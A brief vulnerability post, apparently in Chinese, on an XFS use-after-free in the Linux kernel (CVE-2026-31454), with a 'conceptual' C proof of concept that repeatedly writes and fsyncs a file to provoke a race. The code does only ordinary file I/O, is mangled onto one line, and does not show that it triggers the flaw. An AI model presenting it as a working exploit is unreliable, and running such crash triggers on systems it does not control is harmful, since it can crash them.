CVE-2026-31454 Linux内核XFS释放后重用漏洞

/* * PoC for CVE-2026-31454 (Conceptual) * Trigger conditions: XFS filesystem, local access. * This code attempts to trigger the race condition in AIL push callbacks. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/stat.h> #include <sys/types.h> #define FILE_PATH "./xfs_test_file" int main() { int fd; char buffer[4096] = {0}; // Create and open a file on XFS fd = open(FILE_PATH, O_CREAT | O_RDWR | O_TRUNC, 0644); if (fd < 0) { perror("open"); return 1; } printf("[+] Triggering XFS operations to hit AIL push...\n"); // Write data to trigger logging for (int i = 0; i < 10000; i++) { write(fd, buffer, sizeof(buffer)); // Force flush to trigger log item push fsync(fd); } close(fd); unlink(FILE_PATH); printf("[+] Exploit attempt finished. Check kernel logs for crashes.\n"); return 0; }